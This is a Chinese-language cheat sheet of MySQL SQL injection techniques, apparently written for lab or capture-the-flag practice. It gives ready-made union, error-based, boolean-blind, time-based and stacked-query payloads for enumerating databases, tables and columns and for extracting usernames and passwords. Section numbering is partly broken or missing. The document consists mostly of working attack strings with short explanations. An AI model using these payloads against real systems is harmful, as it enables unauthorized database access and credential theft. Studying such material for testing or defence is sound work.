-1’ union select database() –+ #查询数据库名 -1’ union select group_concat(table_name) from information_schema.tables where table_schema=database() –+ #查询数据表名 -1’ union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’’ –+ #查询字段名 -1’ union select group_concat(username,’:’,password,’;’) from ‘表名’ –+ #查询数据
1’ and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) –+
#### 2.extractvalue() 函数:
1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) –+
#### 3.updatexml() 函数:
1’ and updatexml(1,concat(‘‘,(database()),’’),1) –+
通过循环i从1到无穷,使用length(database()) = i获取库名长度,i是长度,直到返回页面提示query_success即猜测成功 例:1 and length(database())=4
#### 2.根据库名长度爆库名:
获得库名长度i后,使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符 注意观察substr(database,i,1) i从1开始(第i个字符)例:1 and substr(database(),1,1)=‘a’
一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。(sqlmap)
#### 3、对当前库爆表数量:
```php 获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环 例:1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1
4、根据库名和表数量爆表名长度:
得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度 注意观察limit i,1 i从0开始(第i+1张表) 例: ?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4 #query_success #当前库sqli的第一张表表名长度为4 ?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4 #query_success #当前库sqli的第二张表表名长度为4
1and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘n’
6、对表爆列数量:
操作同对当前库爆表数量的步骤,只是要查询的表不同 1and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=2
7、根据表名和列数量爆列名长度和列名以及数据:
1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4 1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’ 1 and substr((select flag from sqli.flag),1,1)=“c”
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。 在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是数据库延时 10 秒返回内容。判断注入可以使用' and sleep(10),数据 库延时10秒返回值,网页响应时间至少要10秒,根据这个原理来判断存在 SQL 时间注入。 mysql 延时注入用到的函数 sleep() 、if()、substring() select if(2>1,sleep(10),0),2>1这个部分就是你注入要构造的 SQL 语句。 select if(length(database())>1,sleep(5),0),这个就是查询当前库大于1,就会延时5秒执行。 vince' and if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这个原理 n>1,n不延时就能确定当前数据库的长度了。
时间语句:
(函数大差不差的)
1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1,sleep(5),1) --+ #确定数据表长度和数据表数量 1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>60, sleep(5),1) --+ #确定数据表名的第一个字符 1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))>3,sleep(5),1) --+ #确定字段名长度和字段数量 1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>10,sleep(5),1) --+ #确定字段名的第一个字符 1' and if (length((select password from security.users limit 0,1))>3,sleep(5),1) --+ #确定数据的长度 1' and if(ascii(substr((select password from security.users limit 0,1),1,1))>10, sleep(5),0) --+ #确定数据的第一个字符
堆叠查询注入
攻击者在注入点上插入多个查询语句,以便在单次注入中执行多个查询。
查询语句:
-1'; show databases; #查询数据库名,代替-1' union select databases -1';use xxx(数据库);show tables; #查询数据表名 -1';use xxx(数据库);show columns from `xxx(表)`; #查询字段名,当纯数字字符串是表名的时候需要加反引号` -1';use xxx(数据库);handler `xxx` open as p;handler p read first; # first修改为next可查询下一行